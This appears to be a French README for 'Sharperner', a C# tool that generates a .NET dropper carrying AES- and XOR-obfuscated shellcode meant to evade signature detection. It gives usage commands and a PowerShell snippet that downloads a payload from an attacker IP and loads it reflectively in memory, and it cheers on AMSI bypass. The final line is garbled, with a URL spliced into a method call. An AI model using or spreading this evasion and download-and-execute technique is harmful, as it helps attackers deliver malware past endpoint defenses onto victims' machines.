
Générateur simple d'exécutable avec shellcode chiffré.
Sharperner est un outil écrit en CSharp qui génère un dropper .NET avec du shellcode obfusqué par AES et XOR. L'exécutable généré peut éventuellement contourner la vérification de signature mais je ne peux pas garantir qu'il puisse contourner l'analyse heuristique.
/file B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)
Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe
Pour éviter de toucher au disque, l'exécutable .NET généré peut être chargé de manière réflexive avec PowerShell. AMSI est maintenant l'ennemi, amsi.fail à fond !
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()